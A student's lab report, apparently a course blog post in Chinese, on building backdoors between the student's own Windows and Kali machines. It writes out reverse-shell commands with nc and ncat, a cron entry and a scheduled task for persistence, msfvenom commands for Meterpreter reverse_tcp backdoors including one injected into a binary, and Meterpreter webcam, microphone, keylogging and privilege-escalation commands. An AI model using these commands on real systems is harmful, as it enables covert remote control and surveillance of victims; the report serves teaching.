20174320 王灏汉 《网络对抗技术》Exp2 后门原理与实践


1 实验目标

1.1 实验要求

  • 使用nc实现win,mac,Linux间的后门连接
  • meterpreter的应用
  • MSF POST 模块的应用

1.2 实验内容

  1. 使用netcat获取主机操作Shell,cron启动 。
  2. 使用socat获取主机操作Shell, 任务计划启动 。
  3. 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell。
  4. 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 。
  5. 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。

2 实验步骤及过程

2.1 netcat

netcat是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。

Linux: 一般自带netcat,"man netcat" 或"man nc"可查看其使用说明。

 Windows: 课程主页附件中下载ncat.rar解压即可使用。

2.1.1 Win获得Linux Shell

在windows中下载好netcat后,切换到文件目录,用 ncat.exe -l -p 4320 命令打开监听。

接下来用Linux反弹连接Windows,首先我们需要知道主机Windows的IP地址。

用ipconfig命令查看一下:

主机的IP地址为:192.168.1.156。

接下来我们打开Kali,用 nc 192.168.1.156 4320 -e /bin/sh 指令来进行反弹式连接(为了更简单方便所以主动去连恶意的主机,所以是反弹式的,哈哈哈哈)

可以发现Windows已经获得了Linux的shell,可以运行任何的指令。(我用ls和pwd作为示例)

2.1.2  Linux获得Win Shell

既然我们的windows可以获取Linux的shell,那当然反过来也成立。

首先,在Linux端运行监听指令 nc -l -p 4320

同样我们也需要知道Kali的ip地址,ifconfig一下:

可以看到它的ip地址是:192.168.171.128

接下来就在windows上进行反弹连接 ncat.exe -e cmd.exe 192.168.171.128 4320

这样一来,Linux就获得了windows的shell。

可以看到命令行界面,还可以执行windows的命令(我用ipconfig为示例)

2.1.3 nc传输数据

windows运行监听指令

linux与windows建立连接

连接建立成功后,可以进行字符数据的传输了


2.2  Meterpreter

Meterpreter是一个用来生成后门程序的平台,具有强大的功能,特别是其socks代理,简直就是内网渗透测试神器。

后门就是一个程序。

传统的理解是:有人编写一个后门程序,大家拿来用。

后来有一些牛人呢,就想编写一个平台能生成后门程序。这个平台呢,把后门的基本功能、扩展功能、编码功能、运行平台以及运行参数,全都做成零件或可调整的参数。用的时候按需要组合,就可以生成一个可执行文件。

典型的平台就包括有:

  • intersect
  • Metaspolit的msfvenom指令
  • Veil-evasion

任务一:使用netcat获取主机操作Shell,cron启动

Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。

1.在windows中开启监听,使用 ncat.exe -l 4320 命令监听4320端口

2.crontab指令增加一条定时任务,"-e"表示编辑。并选择编辑器3,在底行插入10 * * * * /bin/netcat 192.168.1.156 4320 -e /bin/sh,即在每个小时的第10分钟反向连接主机的4320端口。

 3.保存、退出后配置即生效。可以通过"crontab -l"来查看,"-l"表示list。10分钟后执行指令,可以发现已经获得了shell。

 

任务二:使用socat获取主机操作Shell, 任务计划启动

1.在附件中把老师上传的socat压缩包下载下来并解压好。

2.在Windows系统下,打开控制面板->系统和安全->管理工具找到任务计划程序,点击创建任务。

 3.点击触发器选项卡,选择新建,然后将开始任务设置为工作站锁定时。

4.在操作选项卡,点击新建,在“程序或脚本”中选择socat.exe文件的路径,添加参数中填写tcp-listen:4320 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口4320,同时把cmd.exe的stderr重定向到stdout上;

5.创建完成之后,键入windows+L锁定计算机再次登录,让任务开始执行。点击任务计划程序库,可以看见这个被我命名为4320的计划正在运行。

6.然后在Kali环境下输入指令 socat -tcp:192.168.1.156:4320,可以发现已经获得了cmd的shell,看到了命令行界面(使用了ipconfig来验证)。

 

任务三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

1.生成4320_backdoor.exe,复制到Win。

在Kali中输入命令如下(由于是在Linux中生成后门,所以此处的ip地址是Kali的ip地址)

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.171.128 LPORT=4320 -f exe > 4320_backdoor.exe

2.在Windows下执行 ncat.exe -l 4320 > 4320_backdoor.exe,使被控主机进入接收文件模式。

3.在kali中执行nc 192.168.1.156 4320 < 4320_backdoor.exe,将生成的后门程序传送到主机上。

4.MSF打开监听进程。

Kali中重新打开一个终端,输入msfconsole进入msf控制台

依次输入:

  • use exploit/multi/handler //使用监听模块,设置payload

  • set payload windows/meterpreter/reverse_tcp //使用与生成后门程序时相同的payload

  • set LHOST 192.168.171.128

  • set LPORT 4320

  • exploit //设置完成,开始监听

5.把主机中的4320_backdoor.exe文件添加进杀毒软件的信任区后,双击打开该文件。

可以发现,Kali中已经获取了windows的shell。(同样的,用ipconfig来验证)

 

任务四:使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权;

1.保持任务三的状态。

2.输入 record_mic 可以截获一段音频。

3.输入 webcam_snap / webcam_stream 指令可以使用摄像头进行拍照/摄影。

4.输入 screenshot 可以进行截屏。

5.输入 keyscan_start 开始记录下击键,输入 keyscan_dump 指令读取击键的记录。

6.先使用getuid指令查看当前用户,使用getsystem指令进行提权。(提权失败...详见遇到的问题)

 

可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

1.首先生成shellcode:Payload是是包含在你用于一次漏洞利用(exploit)中的ShellCode中的主要功能代码。linux中的有效载荷与任务三不同为linux/x86/meterpreter/reverse_tcp可通过命令msfvenom -l payload。

2.通过命令生成后门程序overdoor。(因为需要注入pwn1所以选用的格式为ELF;-x参数用来指定我们的模板pwn1就写入到pwn1这个可执行文件中)

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.171.128 LPORT=4320-x pwn1 -f elf > overdoor

3.在第一个终端中打开msf控制台,依次输入:

  • use exploit/multi/handler,设置payload

  • set paylaod linux/x86/meterpreter/reverse_tcp

  • set LHOST 192.168.171.128

  • set LPORT 4320

  • exploit

4.在另一个终端运行刚刚生成后门程序overdoor,在第一个终端可以发现获得了需要的shell(通过ls和pwd命令进行了检验)


 

3 实验思考与心得

3.1 基础问题回答

(1)例举你能想到的一个后门进入到你系统中的可能方式?

  黑客通过发送匿名邮件,故意设置用户感兴趣地内容,用户接收邮件,下载邮件中附带的附件,殊不知正中黑客下怀,下载的正是黑客希望植入用户电脑中的后门程序。

(2)例举你知道的后门如何启动起来(win及linux)的方式?

  与电脑自启动项绑定,当用户开机时就自动启动;

  Linux中cron启动;

  植入木马病毒,实现远程操控,手动启动;

(3)Meterpreter有哪些给你映像深刻的功能?

  入侵用户电脑摄像头,进行拍照摄像;

  录音,截取用户的声音片段;

  记录下用户键盘键入的所有操作;

(4)如何发现自己有系统有没有被安装后门?

  通过杀毒软件检测、扫描电脑中的异常程序或软件;

  查看防火墙的工作日志,检查是否有异常情况;

  查看入侵检测系统,检查是否有报告;

3.2 实验中遇到的问题

1.Kali无法上网

实验开始时启动Kali之后,莫名其妙发现连不上网,ping网址ping不通,ping主机也ping不通。上网搜索看到网友各种解决办法,修改配置文件、将网络适配器改为桥接模式或者仅主机模式等等,通过尝试发现都没什么效果。最后通过虚拟网络编辑器还原默认设置之后,重启KALI成功连上网。

2.使用msf提权失败

我查阅了很多资料,用了各种办法都提权失败。其中最可能的说法是通过另一个洞来提权:提权操作需要使用background命令,使用background命令之后会自动退出到msf的命令行下,输入use exploit/windows/local/bypassuac,然后再输入set session (查到的session),最后输入run便会成功。然而运行结果还是不成功,综上我认为就像它所提示的,win10系统不够脆弱(还是太强大了(:)

3.运行pwn1文件时,./pwn1权限不够。

虽然还是不知道为什么会突然失去运行这个文件的权限,而且我尝试过用超级用户来运行,也还是权限不够。后来没办法,只能强行chmod 777把文件权限全都提到最高,居然成功了。

3.3 实验心得

  在这次实验中,遇到的困难并没有上一次实验的多,并没有像上次一样那么多容易出错的细节,而多是技术性的困难,需要我们查阅大量的文献资料来解决,或者参考他人的博客。这次实验除了最后一个加分任务以外,其他任务思路并不是很难,甚至是只要掌握了命令,基本上一定可以做成功,但是却更强调技术性。也正是因为这样的技术性,更能吸引我不停地专研,虽然困难但却感觉做起实验就停不下来,就想一鼓作气一探究竟。让我深深感受到了网络对抗技术的奥妙,原本只能在电影中看见的黑客手段真真正正地通过我的手实现了,一个个神奇的命令就能得到意想不到的结果,不禁令我感叹黑客们的力量之大。

 

posted @ 2020-03-16 22:57  20174320  阅读(172)  评论(0编辑  收藏